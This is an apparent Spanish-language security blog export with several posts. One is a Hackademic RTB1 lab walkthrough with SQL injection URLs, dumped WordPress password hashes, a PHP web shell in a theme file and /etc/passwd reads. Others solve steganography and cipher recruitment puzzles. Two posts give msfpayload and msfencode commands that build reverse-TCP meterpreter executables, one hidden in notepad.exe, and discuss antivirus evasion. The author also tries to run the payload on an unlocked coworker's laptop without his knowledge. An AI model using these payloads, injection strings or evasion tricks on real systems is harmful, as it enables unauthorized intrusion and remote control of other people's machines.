style="font-size: 100%; ">http://192.168.0.190/Hackademic_RTB1/?cat=1%20order%20by%206</span></li></ul></div></span><div style="text-align: justify;"><br /></div><span ><div style="text-align: justify;"><span style="font-size: 100%; ">hacemos un union con una consulta nuestra, para ver si existe algún campo que sea visible:</span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">http://192.168.0.190/Hackademic_RTB1/?cat=1%20union%20select%201,2,3,4,5 </span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">En un principio no se puede observar cambios, pero esto es debido a que al final de la sentencia añade un "LIMIT 1" y como la primera parte ya nos devuelve "Uncategoritzed" es lo que utiliza todo el rato, así que se trata de que la primera consulta no devuelva nada, así que, hacemos que siempre sea falsa añadiendo la condición "and 1=0":</span></div></span><span ><div style="text-align: justify;"><ul><li><span style="font-size: 100%; ">http://192.168.0.190/Hackademic_RTB1/?cat=1%20and%201=0%20union%20select%201,2,3,4,5</span></li></ul></div></span><div style="text-align: justify;"><br /></div><span ><div style="text-align: justify;"><span style="font-size: 100%; ">Con esto podemos ver que el campo "2" se muestra en el título, por lo tanto es el parámetro que usaremos para realizar extraer la información.</span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">Buscando información acerca de las tablas que usa la base de datos de wordpress, vemos la especificación de la tabla de usuarios:</span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">http://codex.wordpress.org/Database_Description#Table:_wp_users</span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">lo que nos interesa son los campos user_login y user_pass:</span></div></span><div style="text-align: justify;"><br /></div><span ><div style="text-align: justify;"><span style="font-size: 100%; ">1:NickJames:21232f297a57a5a743894a0e4a801fc3 - admin</span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">2:JohnSmith:b986448f0bb9e5e124ca91d3d650f52c - PUPPIES</span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">3:GeorgeMiller:7cbb3252ba6b7e9c422fac5334d22054 - q1w2e3</span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">4:TonyBlack:a6e514f9486b83cb53d8d932f9a04292 - napoleon</span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">5:JasonKonnors:8601f6e1028a8e8a966f6c33fcd9aec4 - maxwell</span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">6:MaxBucky:50484c19f1afdaf3841a0d821ed393d2 - kernel</span></div></span><div style="text-align: justify;"><br /></div><span ><div style="text-align: justify;"><span style="font-size: 100%; ">Entrando en cada uno de los perfiles dentro de wordpress, es posible ver que GeorgeMiller es el administrador de la aplicación, vamos, quien tiene más privilegios.</span></div></span><div style="text-align: justify;"><br /></div><span ><div style="text-align: justify;"><span style="font-size: 100%; ">La idea, es modificar alguno de los archivos existentes en el sistema, por tal de poder ejecutar php y hacer un interprete de comandos vía web. Así pues, modificando el footer.php de uno de los templates, añadiendo código en php tenemos lo siguiente:</span></div></span><div style="text-align: justify;"><br /></div><form method="GET" name="myform" action=""><div style="text-align: justify;"><span ><br /></span></div><div style="text-align: justify;"><input type="text" name="cmd" style="font-family: Georgia, serif; font-size: 100%; "></div><div style="text-align: justify;"><input type="submit" value="Send" style="font-family: Georgia, serif; font-size: 100%; "></div></form><div style="text-align: justify;"><br /></div><pre style="text-align: justify;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; "><span style="font-family: Georgia, serif; font-size: 100%; ">Así que mediante esta consola, ya podemos ejecutar comandos, como por ejemplo...:</span></pre><span ><div style="text-align: justify;"><ul><li><span style="font-size: 100%; ">http://192.168.0.190/Hackademic_RTB1/wp-content/themes/starburst/footer.php?cmd=whoami -> apache</span></li></ul></div></span><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><span ><div style="text-align: justify;"><span style="font-size: 100%; ">Bueno, y ya que estoy y comento algo de la solución que proponen la gente de sec-track, comentar un par de cosas que no sabía y que me han parecido muy interesantes y útiles:</span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">Para empezar, la codificación del archivo utilizando "char" para evitar las comillas y que se provoquen errores... esto lo he hecho inumerables veces con XSS, pero no se me había ocurrido para un SQLi.</span></div></span><span ><div style="text-align: justify;"><ul><li><span style="font-size: 100%; ">http://192.168.64.137/Hackademic_RTB1/?cat=0 union select 1,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),3,4,5</span></li></ul></div></span><div style="text-align: justify;"><br /></div><span ><div style="text-align: justify;"><span style="font-size: 100%; ">Y segundo, que al codificar el nombre del archivo en Hex, te permite obtenerlo igualmente:</span></div></span><span ><div style="text-align: justify;"><ul><li><span style="font-size: 100%; ">http://192.168.64.137/Hackademic_RTB1/?cat=0 union select 1,load_file(0x2f6574632f706173737764),3,4,5</span></li></ul></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">Ambos obtienen el archivo /etc/passwd, ya que con la siguiente petición provoca un error:</span></div></span><span ><div style="text-align: justify;"><ul><li><span style="font-size: 100%; ">http://192.168.64.137/Hackademic_RTB1/?cat=0 union select 1,load_file('/etc/passwd'),3,4,5</span></li></ul></div></span>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-20298595439316091272011-12-03T06:26:00.000-08:002011-12-03T07:08:43.283-08:00Puzzle (IV de VI)<div style="text-align: justify;">Hoy vamos a empezar por la segunda parte de cada uno de los puzzles.</div><div style="text-align: center;"><br /></div><div style="text-align: justify;">Al resolver el <a href="http://zprian.blogspot.com/2011/11/puzzle-i-de-vi.html">primer puzzle</a>, el de la imagen que nos comentaba mirar el código fuente... nos llevaba al llamado "Puzzle Δ" que es la segunda parte, y el principio de la solución final al enigma, bueno, a la url donde queremos acceder.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Así pues, una vez que hayamos resuelto estos tres últimos puzzles, podremos dejar nuestro CV en:</div><div><div style="text-align: center;"><span class="Apple-style-span" style="color: rgb(102, 102, 102); font-family: 'Courier New', Courier, monospace; font-size: 13px;">http://www.rtncyberjobs.com/pz2/</span><span class="sl1 curr" style="font-family: 'Courier New', Courier, monospace; font-size: 13px; text-align: justify; padding-top: 0px; padding-right: 1px; padding-bottom: 0px; padding-left: 1px; cursor: pointer; margin-top: 0px; margin-right: 1px; margin-bottom: 0px; margin-left: 1px; font-weight: bold; ">Solution to Δ</span><span class="Apple-style-span" style="color: rgb(102, 102, 102); font-family: 'Courier New', Courier, monospace; font-size: 13px; text-align: justify; ">/</span><span class="sl2" style="color: rgb(102, 102, 102); font-family: 'Courier New', Courier, monospace; font-size: 13px; text-align: justify; padding-top: 0px; padding-right: 1px; padding-bottom: 0px; padding-left: 1px; cursor: pointer; margin-top: 0px; margin-right: 1px; margin-bottom: 0px; margin-left: 1px; ">Solution to Ω</span><span class="Apple-style-span" style="color: rgb(102, 102, 102); font-family: 'Courier New', Courier, monospace; font-size: 13px; text-align: justify; ">/</span><span class="sl3" style="color: rgb(102, 102, 102); font-family: 'Courier New', Courier, monospace; font-size: 13px; text-align: justify; padding-top: 0px; padding-right: 1px; padding-bottom: 0px; padding-left: 1px; cursor: pointer; margin-top: 0px; margin-right: 1px; margin-bottom: 0px; margin-left: 1px; ">Solution to Σ</span></div><div><p id="inst" style="text-align: justify; ">Así pues vayamos a solucionarlo. </p><p id="inst" style="text-align: justify; ">En este segundo caso, nos encontramos con la siguiente imagen:</p><p id="inst" style="text-align: center; "><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc8C4M9_EsIcJSQyBJNuNujnuBsAiJaVVfgjdHN168V7VE88jiLKiZO07o_u7J1Uk8G5IKpOj0mvtNlUJjCEbXZpXhxa8MMjNW8qPktXlgfK2geVx76YCt3Fzr7WY7nSI475FoKYc8Wa3w/s400/puz1b.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5681915146365869042" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 161px; " /></p><div></div><p id="inst" style="text-align: justify; ">En ella comenta que las imagenes suelen tener más información de la que podemos ver... así que... para empezar se me ocurren dos cosas que poder mirar. </p><p id="inst" style="text-align: justify; ">La primera, metadatos o información contenida en ésta, así que para ir rápido y ver si se puede extraer algo, se descarga la imagen y se puede probar con hacer un "strings", con el siguiente resultado:</p><p id="inst" style=" text-align: center; "><img style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 82px; " src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhag1Dic9z7NBujqC9uFKqMtVfcfvZWHs-OOU8imbMFMZuRFqD6hS2-9xbpRDHLX41lMvSUJlrw_FY1m8K9GaVxhmcSn1iTfAehAwnUGbO1Sygori_VvFTjxPdLjU1SAGjI-BTCcWxvMd_h/s400/solA2.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5681915142511580850" /></p><p id="inst" style="text-align: justify; ">(no sé ve demasiado bien, pero la frase es: Getting warmer! Use concealment to uncover even more as you hunt for the solution string to this puzzle... like hide and seek...)</p><p id="inst" style="text-align: justify; ">Al observar la frase obtenida, ya no he pensado en mirar más por esta vía. Además, de que da la pista de usar "hide and seek" un software para steganografía, que era la segunda opción :D</p><p id="inst" style="text-align: justify; ">Al buscar este software, he podido ver que se trata de un software para imágenes GIF, por lo que no me sirve. Buscando un poco más, he podido ver un software que se llama JPHS (jpeg hide and seek), por lo que parece que es la opción perfecta. </p><p id="inst" style="text-align: justify; ">Al ejecutar el programa me pide una contraseña para poder extraer la información oculta... y sin contraseña, no exporta nada... Por lo que revisando de nuevo la pista que tenemos con "strings", se me ocurre que lo de "use concealment to uncover" puede ser literal.. así que probando con "concealment" obtenemos el siguiente bonito mensaje:</p><p id="inst" style="text-align: justify; "><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSOIpSlECP1r-N2N_26bsVOh4qoU2P9ixvplYMcaQ4aj2pj8CDr4QPWOqlzTFEOx8Wr60KEl1rLDHWbsjlfqZilAgpBrnCOI6Y4m2CjrNn5vvPJjEX9k3WtHBFQsXEP1Re25fhX3zFkzo3/s400/solA1.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5681915134852120658" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 239px; " /></p><p id="inst" style="text-align: justify; ">así que ya está, tenemos la primera de las tres partes de la URL para utilizar!</p><p id="inst" style="text-align: justify; ">Enlaces de interés:</p><p id="inst" style="text-align: justify; "><a href="http://www.jjtc.com/Steganography/tools.html">http://www.jjtc.com/Steganography/tools.html</a></p><p id="inst" style="text-align: justify; "><a href="http://linux01.gwdg.de/~alatham/stego.html">http://linux01.gwdg.de/~alatham/stego.html</a></p></div></div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-43803159798304874762011-12-02T12:59:00.000-08:002011-12-01T15:55:36.418-08:00Puzzle (III de VI)<div style="text-align: justify;">Bueno bueno... y aquí viene el tercer wargame, level 1...:P</div><div style="text-align: justify;"><br /></div><div><div style="text-align: justify;">Nos encontramos con el siguiente texto...</div><div style="text-align: justify;"><br /></div></div><div style="text-align: justify;"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 178px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6y5EtvMxu9G6-AoBM_scG1bVGhIg_n_8TUxjLvSULpvMidZX3uvpcyUiQhftluaA1mZyxgDrBold3BKfNolgVP2DaBIoOeswtaHNZCbVDlum18Kwnbaix8xh8v4Wh6hE6j36QPED7aruW/s400/job3.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5681311884117482258" /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Este tiene ya más miga que no el resto...En el texto preguntan.. "¿Quien dijo...?" y al final nueve espacios en blanco, que suponemos es la solución, y lo que deberemos añadir a la url para pasar al siguiente nivel...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Como podemos ver, el texto tiene sus espacios, sus puntos y comas.. así que es de suponer.. que tan solo existe una transmutación entre las letras que aparecen y las originales. Es decir, tenemos que encontrar la correspondencia entre las letras, por tal de poder substituir cada una por su correspondiente original. </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Dado que se trata de una página en inglés.. y que la frase, es de suponer que también lo estará.. el primer paso es realizar un estudio de la frecuencia que aparecen las letras. </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">http://en.wikipedia.org/wiki/Letter_frequency#Relative_frequencies_of_letters_in_the_English_language</div><div style="text-align: justify;"><a href="http://library.thinkquest.org/28005/flashed/thelab/cryptograms/frequency.shtml">http://library.thinkquest.org/28005/flashed/thelab/cryptograms/frequency.shtml</a></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">El siguiente paso es coger y hacer un recuento de las letras que aparecen en el texto, así cómo un método para el cambio por las originales... sí, se puede hacer mediante folio y lápiz.. pero resulta demasiado coñ... tedioso. Así que, con un par de funciones de python es posible agilizar y facilitar esta tarea.. </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Para empezar, una función que nos haga el recuento de cada una de las letras que aparecen en la frase...:</div><div>(sustituir los _ por tabulaciones, que blogger no me deja meter el código..)</div><div>def cont(string):</div><div>_dic={}</div><div>_i=65</div><div>_while i<=90:</div><div>__dic[chr(i)]=string.count(chr(i))</div><div>__i=i+1</div><div>_return dic</div><div><br /></div><div style="text-align: justify;">Esta pequeña función, nos devuelve un diccionario con el número de veces que aparece cada letra. A continuación, otra función para hacer el cambio de letras, en función de otro diccionario que se encargue de las traducciones.</div><div><br /></div><div><div>def subs(orig,trans):</div><div>_for i in trans.keys():</div><div>__orig=orig.replace(i,trans[i])</div><div>_print orig</div></div><div><br /></div><div style="text-align: justify;">Con estas dos pequeñas funciones definidas dentro del interprete de python, tan solo es necesario ir pasando las traducciones que creamos correctas, por tal de poder llegar a descifrar el mensaje.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Así pues, después de ir haciendo sustituciones.. nos queda el siguiente vector de traducciones:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">trans= {'A': 'o', 'C': 'p', 'B': 't', 'E': 'l', 'D': 'a', 'G': 'h', 'F': 'u', 'I': 'i', 'K': 'm', 'J': 'b', 'M': 'j', 'L': 'c', 'N': 'd', 'Q': 'n', 'P': 'e', 'S': 'r', 'R': 'v', 'U': 'k', 'T': 'f', 'W': 'w', 'V': 's', 'X': 'y', 'Z': 'g'}</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Así que dejo como ejercicio el acabar de juntar las partes, y descubrir que presidente dijo la frase... </div><div style="text-align: justify;"><br /></div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-42573127369349065682011-12-01T11:58:00.000-08:002011-12-01T15:56:03.330-08:00Puzzle (II de VI)<div style="text-align: justify;">Bueno, pues aquí vamos a por el segundo!!</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Para empezar tenemos la siguiente imagen llena de "interruptores":</div><div style="text-align: justify;"><br /></div><div><img style="text-align: justify;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 177px; " src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_6y-ChEIObtlTL3OfZ07X5nzZlFy4KZnnjLFkqhsKtnoZsYhPJsAERsWKes3pV8R80SUVnEUx2XM-TrkFxStlgf2vN_hgMtvlgDx4DeykDy0pMTsSvMCq3WjMLhARxnnKM8yetoJ4EmIj/s400/job2.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5680883793124822898" /></div><div style="text-align: justify;">Si alguien no se le ha ocurrido aún viendo la imagen, los interruptores están en dos posiciones, DOS, circuito abierto o cerrado o lo que es lo mismo.. 0 o 1. Sí, es un sistema binario, y si encima os tomáis la molestia de contarlos.. veréis que hay 96 interruptores, es decir, 12 grupos de 8 bits... vamos viéndolo ya?</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Estos 96 bits, se puede representar por:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">011000100110100101101110011000010111001001111001011100110110111101101100011101100110010101100100</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Lo siguiente sería coger cada grupito de 8 bits.. (si alguien no sabe hacer la conversión a decimal.. que se lo mire.. o se lo haga mirar...)</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">01100010 = 61 (hex) = 97 dec = 'a'</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">con el resto... es muy fácil hacerlo, así que ahí lo dejo.. </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">buen va.. si alguien ve que no le sale.. puede usar alguna aplicación web que le haga el trabajito...(cómo por ejemplo:)</div><div style="text-align: justify;"><a href="http://home2.paulschou.net/tools/xlate/">http://home2.paulschou.net/tools/xlate/</a></div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-24973545580729508812011-11-30T11:33:00.000-08:002011-12-01T00:55:34.639-08:00Puzzle (I de VI)<div style="text-align: justify;">Bueno, dejando un poco al margen el tema de cómo llegar a "Ownear" una máquina.. que tengo pensado probar unas cuantas cosas... voy a comentar 6 "ejercicios" para poder llegar a dejar tu CV en una empresa :D</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Llegó a mi correo el siguiente enlace:</div><div style="text-align: justify;"><a href="http://www.rtncyberjobs.com/">http://www.rtncyberjobs.com/</a></div><div style="text-align: center;"><br /></div><div style="text-align: justify;">y al acceder a él, hay 3 wargames que constan de dos partes, y que al acabar puedes acceder a dejar tu CV, así que voy a intentar reventarles el chiringuito, contando cómo solucionarlos :)</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Para empezar tenemos el reto 1:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3uKyDjB1_pFVUP1GCZ0pbMOcplh_yyYnW69Z0Mrr33mb9N0Bhs4gx-gOol_SgO75KzepNpu1I5gbjGzmh83ABrgA6ADxMt5QxX-Cz2elgsgWsMQtl4mmsqQ-t_dDeWhpuho_wBK-0PS9r/s400/job1.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5680876576915992946" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 179px; " /></div><div><br /></div><div style="text-align: justify;">Según la imagen, <i>el romper un código puede venir de cualquier lado, y que es bueno considerar la fuente</i>.. bueno.. así que es algo evidente, ¿no? sí se mira el código fuente de la página se puede observar el siguiente texto, que nos dirá cómo acceder al segundo nivel de éste reto.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimkfO-0Ym-PakZV7jO6zPO8sstxQfHBH4O4uGiRTzWuTuSTkcfc3WVwF0Ng5OnL-bJzn5OmvWMARkWtud3rsZl-F-fw6lFIDeLi7W9fbFOc17vakx6FSVRaA7TtGUa28J41gbfF1P5GYf3/s400/job1-sol.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5680880386320265010" style="color: rgb(0, 0, 238); text-decoration: underline; display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 214px; " /></div><div style="text-align: left;"><br /></div><div>Por lo que ya sabéis.. tan sólo es necesario añadir el "id key" a la Url del sitio, para llegar al siguiente nivel. </div><div style="text-align: justify;"> </div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-80471293720569922642011-10-29T08:48:00.000-07:002011-11-24T13:25:10.097-08:00Owning, my friend! (II)<div style="text-align: justify;">Lo de hoy es para comentar una anécdota que me ha ocurrido en mi actual interés de "cómo saltarme un antivirus"...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">El caso es, que generando una máquina virtual con WinXP SP2, con antivirus McShit Enterprise 8.7 actualizado ayer mismo.. </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=4445 X > payload.exe</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Coloco el payload en el servidor web y en un recurso compartido por tal de tener dos lugares a los que acceder al archivo.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Si intento descargar el archivo a través de la web, el antivirus hace bien su trabajo, y saltando la protección de acceso al disco, salta una alerta (¡Bien por McShit!!). </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Mientras investigaba en esto, pensé:</div><div style="text-align: justify;">- ¿y si intento ofuscar un poco el binario? </div><div style="text-align: justify;">Así que comentándolo con compañeros, me comentaron la posibilidad de utilizar técnicas "básicas" para la ocultación de binarios dentro de otros archivos (ya sean binarios o no). Probé dos técnicas: </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">La primera es la de incluir el ejecutable dentro de otro, mediante el "iexpress" de windows, haciendo un "instalador" para ambos. Esto me lo comentó un compañero, pero solo permite el mover el archivo, a la hora de ejecutarlo, desempaca los dos archivos, y cuando ejecuta nuestro ejecutable, el antivirus lo detecta, puesto que no está ofuscado ni nada y vuelve a estar visible para éste.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">La segunda, ya la conocía, se trata de los <a href="http://es.wikipedia.org/wiki/Alternate_Data_Streams">Alternate Data Streams </a>, pero para este caso, tampoco funciona, puesto que al enviar el archivo, si no se realiza la copia mediante un método que mantenga los ADS, no sirve para nada, además, que el antivirus también lo detecta :D</div><div style="text-align: justify;"> </div><div><div style="text-align: justify;">Siguiendo con el tema del origen del archivo... si intento copiar el archivo desde el recurso compartido al disco... también salta una alerta... Pero en el caso de ejecutar directamente el archivo desde el recurso compartido.. la cosa cambia..</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">No solo permite ejecutarlo, si no que mientras que realizas las acciones que quieras con el meterpreter, el antivirus ni se entera.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Así pues.. la idea puede ser, en lugar de meter un archivo que contenga un ejecutable malicioso.. uno que se encargue de montar el recurso compartido y ejecutar un archivo específico.. y que para esto, si que nos podría ir bien el iexpress ;)</div></div><div style="text-align: justify;"><br /></div><div>Por otro lado, he empezado a leer cómo modificar un binario con tal de hacerlo indetectable a un antivirus... pero es jodido de cojones..:D así que supongo que cuando escriba lo próximo.. será algo más mundano.</div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-41578187025162366932011-10-24T14:41:00.000-07:002011-11-30T12:38:36.866-08:00Owning, my friend!<div style="text-align: justify;"><br /></div><div style="text-align: justify;">Después de tanto tiempo.. va siendo hora de que actualice un poco..</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">En mi empresa, tenemos la mala costumbre (o buena..) de que cuando alguien se deja el ordenador sin bloquear, hacer lo que llamamos un "follarín de los bosques" (dejo a elección del lector la búsqueda de esta "técnica"... .com), la cosa ha ido evolucionando... y da la casualidad que tengo un compañero un tanto bacilón y que llevo unos días intentando darle una lección... (ese compañero es <a href="http://seifreed.com/">Seifreed</a> ;))</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Así pues.. esa lección consistía en meterle un meterpreter en su máquina, y una vez ahí, asustarle un poco jugando con procesos, notepads, capturas de pantalla y demás... La máquina era un Win7 con el antivirus Comodo, por lo que lo primero de todo que hice fue crear un ejecutable con el payload desde el msfpayload:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=4445 X > seif.exe</div><div><div style="text-align: justify;"><br /></div><div></div><div style="text-align: justify;"><br /></div><div><div style="text-align: justify;">a continuación este ejecutable lo subí a virustotal y cómo se puede ver en la imagen, dicho archivo no lo reconoce como malicioso (al menos el antivirus que él utiliza):</div></div><div style="text-align: justify;"><br /></div><div style="text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT2EeiAuXcgOhAQ20DmcAvWGAhxX54Wfkg8VDwJ0DS9M0naiEq0ZtgYQ3RCEYzszlf18At8syqzolGzenk9b_XiPEj-oQCqK3Y8O39Dz5pJwS_8pVk4fLhLZNDDl_1O33kSz6pUV5bzq5O/s400/virustotal.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5667919622324053474" style="text-align: justify;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 136px; " /></div><div></div><div style="text-align: justify;"><br /><div></div></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Así pues, tocaba ejecutar la operación "Owning Seifreed" en el momento en que se levantase y no bloquease el portátil... así que el primer paso era dejar un meterpreter escuchando para la conexión inversa desde su máquina.</div><div style="text-align: justify;"><br /></div><div><div style="text-align: justify;">./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4445 E </div><div><div></div></div></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Unos minutos después.. ya estaba levantándose para dejarme el portátil sin protección alguna.. (muahhahaha) por lo que aproveche para conectarme a mi máquina vía http y descargarme el archivo que después ejecutaría...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">http://192.168.0.153/seif.exe</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Tuve la mala suerte de que me pilló con las manos en la masa, por lo que saltó sobre mi y empezamos a realizar un forcejeo... él para quitarme el mouse pensando que quería abrir alguna url jugosa.. (www.lolshock.com) y yo para cerrar la información de descargas y que no viese el archivo descargado para poder así esperar a la próxima oportunidad para ejecutarlo...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Desgraciadamente, un fin de semana de por medio, se ha dado cuenta del archivo descargado... así que hoy ya hemos jugado con el ejecutable ambos, con la idea de si realmente Comodo no lo detectaría o se lo tragaría... </div><div><div><div><div></div></div></div></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Al ejecutar seif.exe el antivirus ha detectado que se trataba de un ejecutable que no conocía y por lo tanto lo ha "sandboxeado" para evitar males mayores... por lo que ha permitido realizar la conexión inversa, pero, sin permitir el acceso a ciertas llamadas por parte de meterpreter. </div><div style="text-align: justify;">Por lo que he empezado a darle vueltas.. ¿por que lo ha detectado el antivirus?¿por que lo ha metido en una sandbox?¿que pasaría si lo detectase como un ejecutable conocido?</div><div style="text-align: justify;"><br /></div><div><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhajnq9gPccLaeiePCO8dbvSq9FBrKjzPFzAGSTn_EfzZctG5RChaOHf52NIRHyLVC_f7E8Iolo2vk-pG0m2uJ2R2F-Q-OSquHx4ytHIcC9rpocIeqLp-SE2AgVScNeM20QuF11xdx3gJMI/s400/comodo.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5667919700987135026" style="text-align: justify;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 358px; height: 179px; " /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Así que ahí he decidido.. y si lo codifico dentro de un archivo conocido?¿también lo detectará como extraño? Por lo que hemos vuelto a generar otro payload, pero esta vez metiéndolo dentro del ejecutable del notepad, y por si acaso, codificacándolo 5 veces con shikata_ga_nai...</div><div><div><div><div><div style="text-align: justify;"><br /></div></div></div></div></div><div style="text-align: justify;">./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=4445 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -x /tmp/notepad.exe -o /tmp/troloro.exe</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Volvemos a subir el archivo generado a la máquina que queremos Ownear, y volvemos a ejecutar...</div></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Se vuelve a realizar la conexión, y esta vez no ha aparecido ningún mensaje del "Comodo" indicándome nada extraño... pero vuelvo a no tener privilegios para nada.. por lo que supongo que ha vuelto a "sandboxear" el proceso.. </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Lo hemos estado mirando y en el modo "paranoid" parece ser que todo ejecutable que no conoce lo mete en una sandbox, mientras que si estuviese en modo protección "advanced", se lo traga todo... por lo que en ese caso, es prácticamente imposible saltarse esa restricción... Al investigar un poco más, también hemos podido ver que para analizar los ejecutables, se mira que tengan un tamaño máximo, con tal de no ralentizar los análisis.. pero este límite es de 40 MB.. así que es un poco grande como para generarlo.. y seguramente, lo seguiría metiendo en la sandbox, aún sin analizar.. </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Estos días intentaré mirarme un poco la forma de evadir antivirus... no como lo hace Selvi metiendo código vbasic en memoria... si no de intentar hacer menos detectable un ejecutable.. </div><div style="text-align: justify;">a ver si tengo éxito y puedo escribir algo ;)</div><div><br /></div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-82207974981405152052010-07-31T10:16:00.000-07:002010-09-05T05:36:19.509-07:00Leviathan wargame level1 y level2Hace un par de meses leyendo otro blog, leí sobre la existencia de <a href="http://intruded.net/wglist.html">intruder.net</a> así como de los wargames que tiene.<div style="text-align: justify;">Empecé por el primero, también el más sencillo. Y aunque estuve unos diez minutillos, no llegué a pasarlo entero, pero 